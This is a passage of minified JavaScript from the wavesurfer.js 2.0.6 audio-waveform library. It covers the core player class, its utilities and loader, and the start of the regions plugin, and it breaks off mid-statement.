u=1/a.params.barHeight;if(a.params.normalize){var l=o.max(e),c=o.min(e);u=-c>l?-c:l}var h=[].some.call(e,function(e){return e<0}),f=a.params.height*a.params.pixelRatio;return i({absmax:u,hasMinVals:h,height:f,offsetY:f*t||0,halfH:f/2,peaks:e})})()}},{key:"fillRectToContext",value:function(e,t,r,n,i){e&&e.fillRect(t,r,n,i)}},{key:"setFillStyles",value:function(e){e.waveCtx.fillStyle=this.params.waveColor,this.hasProgressCanvas&&(e.progressCtx.fillStyle=this.params.progressColor)}},{key:"getImage",value:function(e,t){var r=this.canvases.map(function(r){return r.wave.toDataURL(e,t)});return r.length>1?r:r[0]}},{key:"updateProgress",value:function(e){this.style(this.progressWave,{width:e+"px"})}}]),t}();t.default=u,e.exports=t.default},function(e,t,r){"use strict";function n(e){e.stopPropagation(),document.body.removeEventListener("click",n,!0)}Object.defineProperty(t,"__esModule",{value:!0}),t.default=function(e){document.body.addEventListener("click",n,!0)},e.exports=t.default},function(e,t){e.exports=function(e,t,r){var n,i,a,s,o;function u(){var l=Date.now()-s;l<t&&l>=0?n=setTimeout(u,t-l):(n=null,r||(o=e.apply(a,i),a=i=null))}null==t&&(t=100);var l=function(){a=this,i=arguments,s=Date.now();var l=r&&!n;return n||(n=setTimeout(u,t)),l&&(o=e.apply(a,i),a=i=null),o};return l.clear=function(){n&&(clearTimeout(n),n=null)},l.flush=function(){n&&(o=e.apply(a,i),a=i=null,clearTimeout(n),n=null)},l}},function(e,t,r){"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=function(e){return function(){for(var t=arguments.length,r=Array(t),n=0;n<t;n++)r[n]=arguments[n];return(0,a.default)(function(){return e.apply(void 0,r)})}};var n,i=r(2),a=(n=i)&&n.__esModule?n:{default:n};e.exports=t.default},function(e,t,r){"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=function(e,t){return Object.keys(t).forEach(function(r){e.style[r]!==t[r]&&(e.style[r]=t[r])}),e},e.exports=t.default},function(e,t,r){"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=function(e){for(var t=arguments.length,r=Array(t>1?t-1:0),n=1;n<t;n++)r[n-1]=arguments[n];return r.forEach(function(t){Object.keys(t).forEach(function(r){e[r]=t[r]})}),e},e.exports=t.default},function(e,t,r){"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=function(e){var t=Number(1/0);return Object.keys(e).forEach(function(r){e[r]<t&&(t=e[r])}),t},e.exports=t.default},function(e,t,r){"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=function(e){var t=-1/0;return Object.keys(e).forEach(function(r){e[r]>t&&(t=e[r])}),t},e.exports=t.default},function(e,t,r){"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=function(){return"wavesurfer_"+Math.random().toString(32).substring(2)},e.exports=t.default},function(e,t,r){"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=function(e){var t=new a.default,r=new XMLHttpRequest,n=!1;r.open(e.method||"GET",e.url,!0),r.responseType=e.responseType||"json",e.xhr&&(e.xhr.requestHeaders&&e.xhr.requestHeaders.forEach(function(e){r.setRequestHeader(e.key,e.value)}),e.xhr.withCredentials&&(r.withCredentials=!0));return r.addEventListener("progress",function(e){t.fireEvent("progress",e),e.lengthComputable&&e.loaded==e.total&&(n=!0)}),r.addEventListener("load",function(e){n||t.fireEvent("progress",e),t.fireEvent("load",e),200==r.status||206==r.status?t.fireEvent("success",r.response,e):t.fireEvent("error",e)}),r.addEventListener("error",function(e){return t.fireEvent("error",e)}),r.send(),t.xhr=r,t};var n,i=r(3),a=(n=i)&&n.__esModule?n:{default:n};e.exports=t.default},function(e,t,r){"use strict";Object.defineProperty(t,"__esModule",{value:!0});var n=function(){function e(e,t){for(var r=0;r<t.length;r++){var n=t[r];n.enumerable=n.enumerable||!1,n.configurable=!0,"value"in n&&(n.writable=!0),Object.defineProperty(e,n.key,n)}}return function(t,r,n){return r&&e(t.prototype,r),n&&e(t,n),t}}(),i=function(e){if(e&&e.__esModule)return e;var t={};if(null!=e)for(var r in e)Object.prototype.hasOwnProperty.call(e,r)&&(t[r]=e[r]);return t.default=e,t}(r(0)),a=l(r(7)),s=l(r(1)),o=l(r(5)),u=l(r(4));function l(e){return e&&e.__esModule?e:{default:e}}function c(e,t){if(!e)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return!t||"object"!=typeof t&&"function"!=typeof t?e:t}function h(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}!function(){function e(t,r){h(this,e)}n(e,[{key:"create",value:function(e){}}]),n(e,[{key:"init",value:function(){}},{key:"destroy",value:function(){}}])}();var f=function(e){function t(e){h(this,t);var r=c(this,(t.__proto__||Object.getPrototypeOf(t)).call(this));if(r.defaultParams={audioContext:null,audioRate:1,autoCenter:!0,backend:"WebAudio",barHeight:1,barGap:null,container:null,cursorColor:"#333",cursorWidth:1,dragSelection:!0,fillParent:!0,forceDecode:!1,height:128,hideScrollbar:!1,interact:!0,loopSelection:!0,maxCanvasWidth:4e3,mediaContainer:null,mediaControls:!1,mediaType:"audio",minPxPerSec:20,normalize:!1,partialRender:!1,pixelRatio:window.devicePixelRatio||screen.deviceXDPI/screen.logicalXDPI,plugins:[],progressColor:"#555",removeMediaElementOnDestroy:!0,renderer:a.default,responsive:!1,scrollParent:!1,skipLength:2,splitChannels:!1,waveColor:"#999",xhr:{}},r.backends={MediaElement:o.default,WebAudio:s.default},r.util=i,r.params=i.extend({},r.defaultParams,e),r.container="string"==typeof e.container?document.querySelector(r.params.container):r.params.container,!r.container)throw new Error("Container element not found");if(null==r.params.mediaContainer?r.mediaContainer=r.container:"string"==typeof r.params.mediaContainer?r.mediaContainer=document.querySelector(r.params.mediaContainer):r.mediaContainer=r.params.mediaContainer,!r.mediaContainer)throw new Error("Media Container element not found");if(r.params.maxCanvasWidth<=1)throw new Error("maxCanvasWidth must be greater than 1");if(r.params.maxCanvasWidth%2==1)throw new Error("maxCanvasWidth must be an even number");if(r.savedVolume=0,r.isMuted=!1,r.tmpEvents=[],r.currentAjax=null,r.arraybuffer=null,r.drawer=null,r.backend=null,r.peakCache=null,"function"!=typeof r.params.renderer)throw new Error("Renderer parameter is invalid");r.Drawer=r.params.renderer,r.Backend=r.backends[r.params.backend],r.initialisedPluginList={},r.isDestroyed=!1,r.isReady=!1;var n=0;return r._onResize=i.debounce(function(){n==r.drawer.wrapper.clientWidth||r.params.scrollParent||(n=r.drawer.wrapper.clientWidth,r.drawer.fireEvent("redraw"))},"number"==typeof r.params.responsive?r.params.responsive:100),c(r,r)}return function(e,t){if("function"!=typeof t&&null!==t)throw new TypeError("Super expression must either be null or a function, not "+typeof t);e.prototype=Object.create(t&&t.prototype,{constructor:{value:e,enumerable:!1,writable:!0,configurable:!0}}),t&&(Object.setPrototypeOf?Object.setPrototypeOf(e,t):e.__proto__=t)}(t,i.Observer),n(t,null,[{key:"create",value:function(e){return new t(e).init()}}]),n(t,[{key:"init",value:function(){return this.registerPlugins(this.params.plugins),this.createDrawer(),this.createBackend(),this.createPeakCache(),this}},{key:"registerPlugins",value:function(e){var t=this;return e.forEach(function(e){return t.addPlugin(e)}),e.forEach(function(e){e.deferInit||t.initPlugin(e.name)}),this.fireEvent("plugins-registered",e),this}},{key:"addPlugin",value:function(e){var t=this;if(!e.name)throw new Error("Plugin does not have a name!");if(!e.instance)throw new Error("Plugin "+e.name+" does not have an instance property!");e.staticProps&&Object.keys(e.staticProps).forEach(function(r){t[r]=e.staticProps[r]});var r=e.instance;return Object.getOwnPropertyNames(i.Observer.prototype).forEach(function(e){r.prototype[e]=i.Observer.prototype[e]}),this[e.name]=new r(e.params||{},this),this.fireEvent("plugin-added",e.name),this}},{key:"initPlugin",value:function(e){if(!this[e])throw new Error("Plugin "+e+" has not been added yet!");return this.initialisedPluginList[e]&&this.destroyPlugin(e),this[e].init(),this.initialisedPluginList[e]=!0,this.fireEvent("plugin-initialised",e),this}},{key:"destroyPlugin",value:function(e){if(!this[e])throw new Error("Plugin "+e+" has not been added yet and cannot be destroyed!");if(!this.initialisedPluginList[e])throw new Error("Plugin "+e+" is not active and cannot be destroyed!");if("function"!=typeof this[e].destroy)throw new Error("Plugin "+e+" does not have a destroy function!");return this[e].destroy(),delete this.initialisedPluginList[e],this.fireEvent("plugin-destroyed",e),this}},{key:"destroyAllPlugins",value:function(){var e=this;Object.keys(this.initialisedPluginList).forEach(function(t){return e.destroyPlugin(t)})}},{key:"createDrawer",value:function(){var e=this;this.drawer=new this.Drawer(this.container,this.params),this.drawer.init(),this.fireEvent("drawer-created",this.drawer),!1!==this.params.responsive&&(window.addEventListener("resize",this._onResize,!0),window.addEventListener("orientationchange",this._onResize,!0)),this.drawer.on("redraw",function(){e.drawBuffer(),e.drawer.progress(e.backend.getPlayedPercents())}),this.drawer.on("click",function(t,r){setTimeout(function(){return e.seekTo(r)},0)}),this.drawer.on("scroll",function(t){e.params.partialRender&&e.drawBuffer(),e.fireEvent("scroll",t)})}},{key:"createBackend",value:function(){var e=this;this.backend&&this.backend.destroy(),"AudioElement"==this.params.backend&&(this.params.backend="MediaElement"),"WebAudio"!=this.params.backend||this.Backend.prototype.supportsWebAudio.call(null)||(this.params.backend="MediaElement"),this.backend=new this.Backend(this.params),this.backend.init(),this.fireEvent("backend-created",this.backend),this.backend.on("finish",function(){return e.fireEvent("finish")}),this.backend.on("play",function(){return e.fireEvent("play")}),this.backend.on("pause",function(){return e.fireEvent("pause")}),this.backend.on("audioprocess",function(t){e.drawer.progress(e.backend.getPlayedPercents()),e.fireEvent("audioprocess",t)})}},{key:"createPeakCache",value:function(){this.params.partialRender&&(this.peakCache=new u.default)}},{key:"getDuration",value:function(){return this.backend.getDuration()}},{key:"getCurrentTime",value:function(){return this.backend.getCurrentTime()}},{key:"setCurrentTime",value:function(e){e>=this.getDuration()?this.seekTo(1):this.seekTo(e/this.getDuration())}},{key:"play",value:function(e,t){var r=this;return this.fireEvent("interaction",function(){return r.play(e,t)}),this.backend.play(e,t)}},{key:"pause",value:function(){if(!this.backend.isPaused())return this.backend.pause()}},{key:"playPause",value:function(){return this.backend.isPaused()?this.play():this.pause()}},{key:"isPlaying",value:function(){return!this.backend.isPaused()}},{key:"skipBackward",value:function(e){this.skip(-e||-this.params.skipLength)}},{key:"skipForward",value:function(e){this.skip(e||this.params.skipLength)}},{key:"skip",value:function(e){var t=this.getDuration()||1,r=this.getCurrentTime()||0;r=Math.max(0,Math.min(t,r+(e||0))),this.seekAndCenter(r/t)}},{key:"seekAndCenter",value:function(e){this.seekTo(e),this.drawer.recenter(e)}},{key:"seekTo",value:function(e){var t=this;if("number"!=typeof e||!isFinite(e)||e<0||e>1)return console.error("Error calling wavesurfer.seekTo, parameter must be a number between 0 and 1!");this.fireEvent("interaction",function(){return t.seekTo(e)});var r=this.backend.isPaused();r||this.backend.pause();var n=this.params.scrollParent;this.params.scrollParent=!1,this.backend.seekTo(e*this.getDuration()),this.drawer.progress(e),r||this.backend.play(),this.params.scrollParent=n,this.fireEvent("seek",e)}},{key:"stop",value:function(){this.pause(),this.seekTo(0),this.drawer.progress(0)}},{key:"setSinkId",value:function(e){return this.backend.setSinkId(e)}},{key:"setVolume",value:function(e){this.backend.setVolume(e),this.fireEvent("volume",e)}},{key:"getVolume",value:function(){return this.backend.getVolume()}},{key:"setPlaybackRate",value:function(e){this.backend.setPlaybackRate(e)}},{key:"getPlaybackRate",value:function(){return this.backend.getPlaybackRate()}},{key:"toggleMute",value:function(){this.setMute(!this.isMuted)}},{key:"setMute",value:function(e){e!==this.isMuted?(e?(this.savedVolume=this.backend.getVolume(),this.backend.setVolume(0),this.isMuted=!0,this.fireEvent("volume",0)):(this.backend.setVolume(this.savedVolume),this.isMuted=!1,this.fireEvent("volume",this.savedVolume)),this.fireEvent("mute",this.isMuted)):this.fireEvent("mute",this.isMuted)}},{key:"getMute",value:function(){return this.isMuted}},{key:"isReady",value:function(){return this.isReady}},{key:"getFilters",value:function(){return this.backend.filters||[]}},{key:"toggleScroll",value:function(){this.params.scrollParent=!this.params.scrollParent,this.drawBuffer()}},{key:"toggleInteraction",value:function(){this.params.interact=!this.params.interact}},{key:"getWaveColor",value:function(){return this.params.waveColor}},{key:"setWaveColor",value:function(e){this.params.waveColor=e,this.drawBuffer()}},{key:"getProgressColor",value:function(){return this.params.progressColor}},{key:"setProgressColor",value:function(e){this.params.progressColor=e,this.drawBuffer()}},{key:"getCursorColor",value:function(){return this.params.cursorColor}},{key:"setCursorColor",value:function(e){this.params.cursorColor=e,this.drawer.updateCursor()}},{key:"getHeight",value:function(){return this.params.height}},{key:"setHeight",value:function(e){this.params.height=e,this.drawer.setHeight(e*this.params.pixelRatio),this.drawBuffer()}},{key:"drawBuffer",value:function(){var e=Math.round(this.getDuration()*this.params.minPxPerSec*this.params.pixelRatio),t=this.drawer.getWidth(),r=e,n=this.drawer.getScrollX(),i=Math.max(n+t,r);this.params.fillParent&&(!this.params.scrollParent||e<t)&&(n=0,i=r=t);var a=void 0;if(this.params.partialRender){var s=this.peakCache.addRangeToPeakCache(r,n,i),o=void 0;for(o=0;o<s.length;o++)a=this.backend.getPeaks(r,s[o][0],s[o][1]),this.drawer.drawPeaks(a,r,s[o][0],s[o][1])}else a=this.backend.getPeaks(r,n,i),this.drawer.drawPeaks(a,r,n,i);this.fireEvent("redraw",a,r)}},{key:"zoom",value:function(e){e?(this.params.minPxPerSec=e,this.params.scrollParent=!0):(this.params.minPxPerSec=this.defaultParams.minPxPerSec,this.params.scrollParent=!1),this.drawBuffer(),this.drawer.progress(this.backend.getPlayedPercents()),this.drawer.recenter(this.getCurrentTime()/this.getDuration()),this.fireEvent("zoom",e)}},{key:"loadArrayBuffer",value:function(e){var t=this;this.decodeArrayBuffer(e,function(e){t.isDestroyed||t.loadDecodedBuffer(e)})}},{key:"loadDecodedBuffer",value:function(e){this.backend.load(e),this.drawBuffer(),this.fireEvent("ready"),this.isReady=!0}},{key:"loadBlob",value:function(e){var t=this,r=new FileReader;r.addEventListener("progress",function(e){return t.onProgress(e)}),r.addEventListener("load",function(e){return t.loadArrayBuffer(e.target.result)}),r.addEventListener("error",function(){return t.fireEvent("error","Error reading file")}),r.readAsArrayBuffer(e),this.empty()}},{key:"load",value:function(e,t,r,n){if(this.empty(),r){var i={"Preload is not 'auto', 'none' or 'metadata'":-1===["auto","metadata","none"].indexOf(r),"Peaks are not provided":!t,"Backend is not of type MediaElement":"MediaElement"!==this.params.backend,"Url is not of type string":"string"!=typeof e},a=Object.keys(i).filter(function(e){return i[e]});a.length&&(console.warn("Preload parameter of wavesurfer.load will be ignored because:\n\t- "+a.join("\n\t- ")),r=null)}switch(this.params.backend){case"WebAudio":return this.loadBuffer(e,t,n);case"MediaElement":return this.loadMediaElement(e,t,r,n)}}},{key:"loadBuffer",value:function(e,t,r){var n=this,i=function(t){return t&&n.tmpEvents.push(n.once("ready",t)),n.getArrayBuffer(e,function(e){return n.loadArrayBuffer(e)})};if(!t)return i();this.backend.setPeaks(t,r),this.drawBuffer(),this.tmpEvents.push(this.once("interaction",i))}},{key:"loadMediaElement",value:function(e,t,r,n){var i=this,a=e;if("string"==typeof e)this.backend.load(a,this.mediaContainer,t,r);else{var s=e;this.backend.loadElt(s,t),a=s.src}this.tmpEvents.push(this.backend.once("canplay",function(){i.drawBuffer(),i.fireEvent("ready"),i.isReady=!0}),this.backend.once("error",function(e){return i.fireEvent("error",e)})),t&&this.backend.setPeaks(t,n),t&&!this.params.forceDecode||!this.backend.supportsWebAudio()||this.getArrayBuffer(a,function(e){i.decodeArrayBuffer(e,function(e){i.backend.buffer=e,i.backend.setPeaks(null),i.drawBuffer(),i.fireEvent("waveform-ready")})})}},{key:"decodeArrayBuffer",value:function(e,t){var r=this;this.arraybuffer=e,this.backend.decodeArrayBuffer(e,function(n){r.isDestroyed||r.arraybuffer!=e||(t(n),r.arraybuffer=null)},function(){return r.fireEvent("error","Error decoding audiobuffer")})}},{key:"getArrayBuffer",value:function(e,t){var r=this,n=i.ajax({url:e,responseType:"arraybuffer",xhr:this.params.xhr});return this.currentAjax=n,this.tmpEvents.push(n.on("progress",function(e){r.onProgress(e)}),n.on("success",function(e,n){t(e),r.currentAjax=null}),n.on("error",function(e){r.fireEvent("error","XHR error: "+e.target.statusText),r.currentAjax=null})),n}},{key:"onProgress",value:function(e){var t=void 0;t=e.lengthComputable?e.loaded/e.total:e.loaded/(e.loaded+1e6),this.fireEvent("loading",Math.round(100*t),e.target)}},{key:"exportPCM",value:function(e,t,r,n){e=e||1024,n=n||0,t=t||1e4,r=r||!1;var i=this.backend.getPeaks(e,n),a=[].map.call(i,function(e){return Math.round(e*t)/t}),s=JSON.stringify(a);return r||window.open("data:application/json;charset=utf-8,"+encodeURIComponent(s)),s}},{key:"exportImage",value:function(e,t){return e||(e="image/png"),t||(t=1),this.drawer.getImage(e,t)}},{key:"cancelAjax",value:function(){this.currentAjax&&(this.currentAjax.xhr.abort(),this.currentAjax=null)}},{key:"clearTmpEvents",value:function(){this.tmpEvents.forEach(function(e){return e.un()})}},{key:"empty",value:function(){this.backend.isPaused()||(this.stop(),this.backend.disconnectSource()),this.cancelAjax(),this.clearTmpEvents(),this.drawer.progress(0),this.drawer.setWidth(0),this.drawer.drawPeaks({length:this.drawer.getWidth()},0)}},{key:"destroy",value:function(){this.destroyAllPlugins(),this.fireEvent("destroy"),this.cancelAjax(),this.clearTmpEvents(),this.unAll(),!1!==this.params.responsive&&(window.removeEventListener("resize",this._onResize,!0),window.removeEventListener("orientationchange",this._onResize,!0)),this.backend.destroy(),this.drawer.destroy(),this.isDestroyed=!0,this.arraybuffer=null}}]),t}();f.util=i,t.default=f,e.exports=t.default}])});


/*!
 * wavesurfer.js 2.0.6 (Fri Jun 15 2018 10:58:05 GMT+0200 (CEST))
 * https://github.com/katspaugh/wavesurfer.js
 * @license BSD-3-Clause
 */
!function(e,t){"object"==typeof exports&&"object"==typeof module?module.exports=t():"function"==typeof define&&define.amd?define("regions",[],t):"object"==typeof exports?exports.regions=t():(e.WaveSurfer=e.WaveSurfer||{},e.WaveSurfer.regions=t())}(window,function(){return function(e){var t={};function r(n){if(t[n])return t[n].exports;var i=t[n]={i:n,l:!1,exports:{}};return e[n].call(i.exports,i,i.exports,r),i.l=!0,i.exports}return r.m=e,r.c=t,r.d=function(e,t,n){r.o(e,t)||Object.defineProperty(e,t,{enumerable:!0,get:n})},r.r=function(e){"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(e,"__esModule",{value:!0})},r.t=function(e,t){if(1&t&&(e=r(e)),8&t)return e;if(4&t&&"object"==typeof e&&e&&e.__esModule)return e;var n=Object.create(null);if(r.r(n),Object.defineProperty(n,"default",{enumerable:!0,value:e}),2&t&&"string"!=typeof e)for(var i in e)r.d(n,i,function(t){return e[t]}.bind(null,i));return n},r.n=function(e){var t=e&&e.__esModule?function(){return e.default}:function(){return e};return r.d(t,"a",t),t},r.o=function(e,t){return Object.prototype.hasOwnProperty.call(e,t)},r.p="localhost:8080/dist/plugin/",r(r.s=5)}({5:function(e,t,r){"use strict";Object.defineProperty(t,"__esModule",{value:!0});var n=function(){function e(e,t){for(var r=0;r<t.length;r++){var n=t[r];n.enumerable=n.enumerable||!1,n.configurable=!0,"value"in n&&(n.writable=!0),Object.defineProperty(e,n.key,n)}}return function(t,r,n){return r&&e(t.prototype,r),n&&e(t,n),t}}();function i(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}var s=function(){function e(t,r){var n=this;i(this,e),this.wavesurfer=r,this.wrapper=r.drawer.wrapper,this.util=r.util,this.style=this.util.style,this.id=null==t.id?r.util.getId():t.id,this.start=Number(t.start)||0,this.end=null==t.end?this.start+4/this.wrapper.scrollWidth*this.wavesurfer.getDuration():Number(t.end),this.resize=void 0===t.resize||Boolean(t.resize),this.drag=void 0===t.drag||Boolean(t.drag),this.loop=Boolean(t.loop),this.color=t.color||"rgba(0, 0, 0, 0.1)",this.data=t.data||{},this.attributes=t.attributes||{},this.maxLength=t.maxLength,this.minLength=t.minLength,this._onRedraw=function(){return n.updateRender()},this.scroll=!1!==t.scroll&&r.params.scrollParent,this.scrollSpeed=t.scrollSpeed||1,this.scrollThreshold=t.scrollThreshold||10,this.bindInOut(),this.render(),this.wavesurfer.on("zoom",this._onRedraw),this.wavesurfer.on("redraw",this._onRedraw),this.wavesurfer.fireEvent("region-created",this)}return n(e,[{key:"update",value:function(e){null!=e.start&&(this.start=Number(e.start)),null!=e.end&&(this.end=Number(e.end)),null!=e.loop&&(this.loop=Boolean(e.loop)),null!=e.color&&(this.color=e.color),null!=e.data&&(this.data=e.data),null!=e.resize&&(this.resize=Boolean(e.resize)),null!=e.drag&&(this.drag=Boolean(e.drag)),null!=e.maxLength&&(this.maxLength=Number(e.maxLength)),null!=e.minLength&&(this.minLength=Number(e.minLength)),null!=e.attributes&&(this.attributes=e.attributes),this.updateRender(),this.fireEvent("update"),this.wavesurfer.fireEvent("region-updated",this)}},{key:"remove",value:function(){this.element&&(this.wrapper.removeChild(this.element),this.element=null,this.fireEvent("remove"),this.wavesurfer.un("zoom",this._onRedraw),this.wavesurfer.un("redraw",this._onRedraw),this.wavesurfer.fireEvent("region-removed",this))}},{key:"play",value:function(){this.wavesurfer.play(this.start,this.end),this.fireEvent("play"),this.wavesurfer.fireEvent("region-play",this)}},{key:"playLoop",value:function(){var e=this;this.play(),this.once("out",function(){return e.playLoop()})}},{key:"render",value:function(){var e=document.createElement("region");for(var t in e.className="wavesurfer-region",e.title=this.formatTime(this.start,this.end),e.setAttribute("data-id",this.id),this.attributes)e.setAttribute("data-region-"+t,this.attributes[t]);this.wrapper.scrollWidth;if(this.style(e,{position:"absolute",zIndex:2,height:"100%",top:"0px"}),this.resize){var r=e.appendChild(document.createElement("handle")),n=e.appendChild(document.createElement("handle"));r.className="wavesurfer-handle wavesurfer-handle-start",n.className="wavesurfer-handle wavesurfer-handle-end";var i={cursor:"col-resize",position:"absolute",left:"0px",top:"0px",width:"1%",maxWidth:"4px",height:"100%"};this.style(r,i),this.style(n,i),this.style(n,{left:"100%"})}this.element=this.wrapper.appendChild(e),this.updateRender(),this.bindEvents(e)}},{key:"formatTime",value:function(e,t){return(e==t?[e]:[e,t]).map(function(e){return[Math.floor(e%3600/60),("00"+Math.floor(e%60)).slice(-2)].join(":")}).join("-")}},{key:"getWidth",value:function(){return this.wavesurfer.drawer.width/this.wavesurfer.params.pixelRatio}},{key:"updateRender",value:function(){var e=this.wavesurfer.getDuration(),t=this.getWidth();if(this.start<0&&(this.start=0,this.end=this.end-this.start),this.end>e&&(this.end=e,this.start=e-(this.end-this.start)),null!=this.minLength&&(this.end=Math.max(this.start+this.minLength,this.end)),null!=this.maxLength&&(this.end=Math.min(this.start+this.maxLength,this.end)),null!=this.element){var r=Math.round(this.start/e*t),n=Math.round(this.end/e*t)-r;for(var i in this.style(this.element,{left:r+"px",width:n+"px",backgroundColor:this.color,cursor:this.drag?"move":"default"}),this.attributes)this.element.setAttribute("data-region-"+i,this.attributes[i]);this.element.title=this.formatTime(this.start,this.end)}}},{key:"bindInOut",value:function(){var e=this;this.firedIn=!1,this.firedOut=!1;var t=function(t){!e.firedOut&&e.firedIn&&(e.start>=Math.round(100*t)/100||e.end<=Math.round(100*t)/100)&&(e.firedOut=!0,e.firedIn=!1,e.fireEvent("out"),e.wavesurfer.fireEvent("region-out",e)),!e.firedIn&&e.start<=t&&e.end>t&&(e.firedIn=!0,e.firedOut=!1,e.fireEvent("in"),e.wavesurfer.fireEvent("region-in",e))};this.wavesurfer.backend.on("audioprocess",t),this.on("remove",function(){e.wavesurfer.backend.un("audioprocess",t)}),this.on("out",function(){e.loop&&e.wavesurfer.play(e.start)})}},{key:"bindEvents",value:function(){var e,t,r,n,i,s,a,o,u,l,d,h,c,v,f,p=this;this.element.addEventListener("mouseenter",function(e){p.fireEvent("mouseenter",e),p.wavesurfer.fireEvent("region-mouseenter",p,e)}),this.element.addEventListener("mouseleave",function(e){p.fireEvent("mouseleave",e),p.wavesurfer.fireEvent("region-mouseleave",p,e)}),this.element.addEventListener("click",function(e){e.preventDefault(),p.fireEvent("click",e),p.wavesurfer.fireEvent("region-click",p,e)}),this.element.addEventListener("dblclick",function(e){e.stopPropagation(),e.preventDefault(),p.fireEvent("dblclick",e),p.wavesurfer.fireEvent("region-dblclick",p,e)}),(this.drag||this.resize)&&(e=p.wavesurfer.drawer.container,t=p.wavesurfer.getDuration(),r=p.scrollSpeed,n=p.scrollThreshold,i=void 0,s=void 0,a=void 0,o=void 0,u=void 0,l=!1,d=void 0,h=void 0,c=function(e){e.touches&&e.touches.length>1||(s=e.targetTouches?e.targetTouches[0].identifier:null,e.stopPropagation(),i=p.wavesurfer.drawer.handleEvent(e,!0)*t,o=p.wrapper.scrollWidth-p.wrapper.clientWidth,h=p.wrapper.getBoundingClientRect(),"handle"==e.target.tagName.toLowerCase()?u=e.target.classList.contains("wavesurfer-handle-start")?"start":"end":(a=!0,u=!1))},v=function(e){e.touches&&e.touches.length>1||((a||u)&&(a=!1,d=null,u=!1),l&&(l=!1,p.util.preventClick(),p.fireEvent("update-end",e),p.wavesurfer.fireEvent("region-update-end",p,e)))},f=function(c){if(!(c.touches&&c.touches.length>1)&&(!c.targetTouches||c.targetTouches[0].identifier==s)&&(a||u)){var v=i,f=p.wavesurfer.drawer.handleEvent(c)*t,m=f-i;if(i=f,p.drag&&a&&(l=l||!!m,p.onDrag(m)),p.resize&&u&&(l=l||!!m,p.onResize(m,u)),p.scroll&&e.clientWidth<p.wrapper.scrollWidth){if(a){var g=p.element.getBoundingClientRect(),w=g.left-h.left;f<v&&w>=0?d=-1:f>v&&w+g.width<=h.right&&(d=1),(-1===d&&w>n||1===d&&w+g.width<h.right-n)&&(d=null)}else{var y=c.clientX-h.left;d=y<=n?-1:y>=h.right-n?1:null}d&&function e(n){if(d&&(a||u)){var s=p.wrapper.scrollLeft+r*d;p.wrapper.scrollLeft=s=Math.min(o,Math.max(0,s));var l=p.wavesurfer.drawer.handleEvent(n)*t,h=l-i;i=l,a?p.onDrag(h):p.onResize(h,u),window.requestAnimationFrame(function(){e(n)})}}(c)}}},p.element.addEventListener("mousedown",c),p.element.addEventListener("touchstart",c),p.wrapper.addEventListener("mousemove",f),p.wrapper.addEventListener("touchmove",f),document.body.addEventListener("mouseup",v),document.body.addEventListener("touchend",v),p.on("remove",function(){document.body.removeEventListener("mouseup",v),document.body.removeEventListener("touchend",v),p.wrapper.removeEventListener("mousemove",f),p.wrapper.removeEventListener("touchmove",f)}),p.wavesurfer.on("destroy",function(){document.body.removeEventListener("mouseup",v),document.body.removeEventListener("touchend",v)}))}},{key:"onDrag",value:function(e){var t=this.wavesurfer.getDuration();this.end+e>t||this.start+e<0||this.update({start:this.start+e,end:this.end+e})}},{key:"onResize",value:function(e,t){"start"==t?this.update({start:Math.min(this.start+e,this.end),end:Math.max(this.start+e,this.end)}):this.update({start:Math.min(this.end+e,this.start),end:Math.max(this.end+e,this.start)})}}]),e}(),a=function(){function e(t,r){var n=this;i(this,e),this.params=t,this.wavesurfer=r,this.util=r.util,Object.getOwnPropertyNames(this.util.Observer.prototype).forEach(function(e){s.prototype[e]=n.util.Observer.prototype[e]}),this.wavesurfer.Region=s,this.list={},this._onReady=function(){n.wrapper=n.wavesurfer.drawer.wrapper,n.params.regions&&n.params.regions.forEach(function(e){n.add(e)}),n.params.dragSelection&&n.enableDragSelection(n.params)}}return n(e,null,[{key:"create",value:function(t){return{name:"regions",deferInit:!(!t||!t.deferInit)&&t.deferInit,params:t,staticProps:{initRegions:function(){console.warn('Deprecated initRegions! Use wavesurfer.initPlugins("regions") instead!'),this.initPlugin("regions")},addRegion:function(e){return this.initialisedPluginList.regions||this.initPlugin("regions"),this.regions.add(e)},clearRegions:function(){this.regions&&this.regions.clear()},enableDragSelection:function(e){this.initialisedPluginList.regions||this.initPlugin("regions"),this.regions.enableDragSelection(e)},disableDragSelection:function(){this.regions.disableDragSelection()}},instance:e}}}]),n(e,[{key:"init",value:function(){this.wavesurfer.isReady&&this._onReady(),this.wavesurfer.on("ready",this._onReady)}},{key:"destroy",value:function(){this.wavesurfer.un("ready",this._onReady),this.disableDragSelection(),this.clear()}},{key:"add",value:function(e){var t=this,r=new this.wavesurfer.Region(e,this.wavesurfer);return this.list[r.id]=r,r.on("remove",function(){delete t.list[r.id]}),r}},{key:"clear",value:function(){var e=this;Object.keys(this.list).forEach(function(t){e.list[t].remove()})}},{key:"enableDragSelection",value:function(e){var t=this,r=e.slop||2,n=this.wavesurfer.drawer.container,i=!1!==e.scroll&&this.wavesurfer.params.scrollParent,s=e.scrollSpeed||1,a=e.scrollThreshold||10,o=void 0,u=this.wavesurfer.getDuration(),l=void 0,d=void 0,h=void 0,c=void 0,v=0,f=void 0,p=void 0,m=function(e){e.touches&&e.touches.length>1||(u=t.wavesurfer.getDuration(),c=e.targetTouches?e.targetTouches[0].identifier:null,l=t.wrapper.scrollWidth-t.wrapper.clientWidth,p=t.wrapper.getBoundingClientRect(),o=!0,d=t.wavesurfer.drawer.handleEvent(e,!0),h=null,f=null)};this.wrapper.addEventListener("mousedown",m),this.wrapper.addEventListener("touchstart",m),this.on("disable-drag-selection",function(){t.wrapper.removeEventListener("touchstart",m),t.wrapper.removeEventListener("mousedown",m)});var 